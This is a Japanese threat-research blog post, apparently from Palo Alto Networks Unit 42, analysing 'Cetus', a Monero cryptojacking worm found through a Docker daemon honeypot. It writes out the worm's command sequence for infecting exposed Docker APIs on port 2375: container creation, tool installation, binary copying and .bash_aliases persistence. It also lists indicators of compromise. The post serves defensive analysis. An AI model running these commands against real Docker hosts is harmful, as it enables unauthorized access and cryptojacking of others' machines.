This post is also available in: English (英語)
概要
セキュリティ専門家はコンテナ技術黎明期からセキュアでないDockerデーモンを大きな脅威と捉えてきました。パロアルトネットワークス脅威インテリジェンス調査チーム Unit 42でもこれまでに、こうしたコンテナの脅威について「Docker Engineのコンテナで拡散する初めてのクリプトジャック(仮想通貨採掘)ワーム」、「セキュアでないDockerデーモンへの攻撃者の戦術とテクニックが明らかに 地理的分布で日本は全体の3.7%」という2本の記事を公開しています。これにつづいて筆者たちはDockerデーモンのハニーポットを設置した調査を行いました。その目的は、「インターネット上に公開されている平均的Dockerデーモンをとりまく状況がどのようなものか」、「COVID-19に起因するクラウドへの移行が果たして標的型クラウド攻撃の質や量の向上につながったのかどうか」を確認することにありました。
本稿では筆者らが仕掛けたDockerデーモンのハニーポットで発見された「Cetus」というMoneroマイニング用の改良型Dockerクリプトジャックワームについて解説していきます。
パロアルトネットワークスのPrisma Cloudをご利用のお客様は、Prisma Cloud Computeのホストコンプライアンス保護機能を通じて不備のあるDockerデーモン構成の警告・解決策を受け取ることでこの脅威から保護されています。
ハニーポット
本調査の実施にあたり、筆者は分離された制限付きDockerデーモンを設置し、5月のまる一ヶ月のトラフィックをすべてログに記録しました。その間、ボットネットからワームまであらゆるものを配信するさまざまな攻撃を目撃しました。それらの大部分がMonero用クリプトジャッキングを目的としたものでしたが、なかでもとりわけ頻繁に見られた攻撃の1つが筆者らの注意を引きました。そこにはワームを思わせるパターンがあったからです。このワームの場合、他の攻撃とは違って、ハニーポットがセキュアでないさまざまなDockerデーモンインスタンスから攻撃を受けていました。これまでのハニーポット設置時の経験やコンテナセキュリティ関連の研究プロジェクト類に照らしても、セキュアでないDockerデーモンを標的としたワームを目にするのはさほど一般的とはいえません。そこで筆者はこのペイロードを分析し、結果的にこれが新種のDockerワームであるものと判断しました。このマルウェアの各インスタンスはローカルネットワーク内外のDockerデーモンインスタンスを検出して感染しようとします。
Cetusの仕組み
ギリシャ神話にクジラに似たある生き物についての物語があります。この生き物は一見無害そうでいて実はどこへ出没しても大混乱を引き起こす海の怪物です。この生き物の名前をCetus(ケートス)といいます。
今回見つかったマルウェアは、クジラのロゴを使うDockerデーモンを狙っていて、一見なんでもないような正当なバイナリに偽装しようとしています。ここから筆者はこのマルウェアをCetusと名付けることにしました。
CetusはPortainerと呼ばれるDocker環境でよく利用される正当なバイナリを模倣することでその正体を偽装します。Portainerはユーザーインターフェイス(UI)管理ツールで、これを使うと複数のDocker環境を効率よく管理することができます。新しいマシンを引き継ぐさい、Cetusはそのマシンに自分自身をコピーしてXMRigクリプトマイナーのペイロードをデプロイします。Cetusは、このときクリプトマイナーをdocker-cacheというべつの正当そうな名前のバイナリに偽装しますが、こちらはPortainerとちがって実際の正当なバイナリ名ではありません。

感染の仕組みは単純かつ巧妙です。CetusはMasscanを使ってサブネット内にDockerデーモンがないかランダムにスキャンします。Dockerデーモンが見つかると当該デーモンのREST APIにリクエストを送って感染を広げようとします。Cetusはご丁寧にもこれらのリクエストをDockerのコマンドラインインタフェース(CLI)ツールを使ってこしらえています。このときのCetusの攻撃フローを図1に示します。Cetusが実行するコマンドは具体的に次のとおりです。
- デーモンがエクスプロイト可能でまだ感染していないことを確認します。
1 |
docker -H <victim> ps -a |
- Docker Hubからubuntu:18.04の新しいコンテナを実行します。
1 |
docker -H <victim> run -dt –name <name> –restart always ubuntu:18.04 /bin/bash |
- パッケージマネージャリストを更新します。
1 |
docker -H <victim> exec <name> apt-get -yq update |
- MasscanとDockerをパッケージマネージャ経由でインストールします。
1 |
docker -H <victim> exec <name> apt-get install masscan docker.io |
- 悪意のあるportainerとdocker-cacheバイナリをコンテナにコピーします。
1 2 |
docker -H <victim> cp -L docker-cache <name>:/usr/bin/ docker -H <victim> cp -L portainer <name>/usr/bin/ |
- Cetusを/root/.bash_aliasesに追加します。これでコンテナが再起動するかrootがbashセッションを開始するつどCetusが実行されるようになります。
1 |
docker -H <victim> exec <name> bash –norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null & |
- コンテナを再起動してCetusを実行します。
1 |
docker -H <victim> restart <name> |
Cetusのリバースエンジニアリング
Cetusのリバースエンジニアリングは手っ取り早く簡単にできます。デバッグ対策や難読化などの手法は使用されておらず、シンボルまで含まれています。
ただしクリプトマイナー側はそうはいきません。XMRigマイナーはクリプトジャック攻撃に最もよく使用されるクリプトマイナーの1つなので、セキュリティ対策ツールにはウイルスとして扱われます。したがって、セキュリティ対策ツールを出し抜いて攻撃を行うためにXMRigマイナーは高度に難読化されており、リバースエンジニアリング処理も難しくなっています。
さらにこの2月にリリースされたXMRig 5.5.3を使用している点から、本マルウェアが新しいものであると結論付けることができます。 Cetusのアーキテクチャは単純で、miner_start、scan_startという2つの関数が含まれています。

miner_start関数の機能は明快です。/var/log/stmp.logを開き、Cetusのアクションをログに記録し、XMRigクリプトマイナーを実行し、マシンのCPUを使ってMoneroをマイニングします。scan_start関数はそれよりずっと興味深く、コアとなるマルウェアの機能を実行しています。ランダムな16ビットサブネットを選び、Masscanを実行してサブネット内をスキャンし、ポート2375でリッスンしているDockerデーモンを探します。デーモンが見つかるとダウンロード済みDocker CLIツールで感染プロセスを開始します。このマルウェアが興味深いのは、Dockerデーモンに感染するたびにコンテナを別の名前で呼び出す点です。本マルウェアは8つずつ名前が記されたリストを2つ持っており、各リストから1つずつ名前をランダムに名前をピックアップして、その2つの名前をつなげて使っています。

次にCetusはこの名前を引数としてマイナーを実行します。マイナーは自分自身をこの名前で識別してマイニングプールに参加し、マイニング関連のアクター情報を送信します。これによって攻撃者は各マイナーを分類し、マイニングプールAPI経由でマイナーや攻撃キャンペーンの統計情報を生成することができます。こうした統計やログの仕組みをもたせている点から、本マルウェアのオペレーターはすべてを注意深く監視したがっているものと結論づけることができます。
結論
コンテナを標的とするマルウェアはその秘めた可能性への理解が攻撃者間で進むにつれ複雑化しています。本稿はGraboidに引き続きUnit 42で文書化された2本目のDocker用クリプトジャックワーム解説記事です。
なお筆者らは、Cetusを別のクリプトジャックワームとリンクすることにも成功しました。こちらのクリプトジャックワームはAWSとDockerデーモンを攻撃するもので、Cetusと同じMoneroウォレットアドレスを使用していました。
クラウドに対する攻撃はますます巧妙化してきているというのが今回の調査での筆者らの結論です。
なお、パロアルトネットワークスのPrisma Cloudをご利用のお客様は、Prisma Cloud Computeのホストコンプライアンス保護機能を通じて不備のあるDockerデーモン構成の警告・解決策を受け取ることでこの脅威から保護されています。

IoC
ファイル
ファイル名 | SHA256値 |
docker-cache | e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac |
portainer | b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443 |
表 1 マルウェアのハッシュ値
マイニングに関する情報
マイニング プール
pool.minexmr.com:443
支払い先アドレス
85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh
コンテナ名
-
- baleful_gormmet
- baleful_obelus
- baleful_agelast
- baleful_amatorculist
- baleful_peristeronic
- baleful_hirquiticke
- baleful_oxter
- baleful_quire
- boorish_gormmet
- boorish_obelus
- boorish_agelast
- boorish_amatorculist
- boorish_peristeronic
- boorish_hirquiticke
- boorish_oxter
- boorish_quire
- adroit_gormmet
- adroit_obelus
- adroit_agelast
- adroit_amatorculist
- adroit_peristeronic
- adroit_hirquiticke
- adroit_oxter
- adroit_quire
- fecund_gormmet
- fecund_obelus
- fecund_agelast
- fecund_amatorculist
- fecund_peristeronic
- fecund_hirquiticke
- fecund_oxter
- fecund_quire
- limpid_gormmet
- limpid_obelus
- limpid_agelast
- limpid_amatorculist
- limpid_peristeronic
- limpid_hirquiticke
- limpid_oxter
- limpid_quire
- risible_gormmet
- risible_obelus
- risible_agelast
- risible_amatorculist
- risible_peristeronic
- risible_hirquiticke
- risible_oxter
- risible_quire
- verdant_gormmet
- verdant_obelus
- verdant_agelast
- verdant_amatorculist
- verdant_peristeronic
- verdant_hirquiticke
- verdant_oxter
- verdant_quire
- zealous_gormmet
- zealous_obelus
- zealous_agelast
- zealous_amatorculist
- zealous_peristeronic
- zealous_hirquiticke
- zealous_oxter
- zealous_quire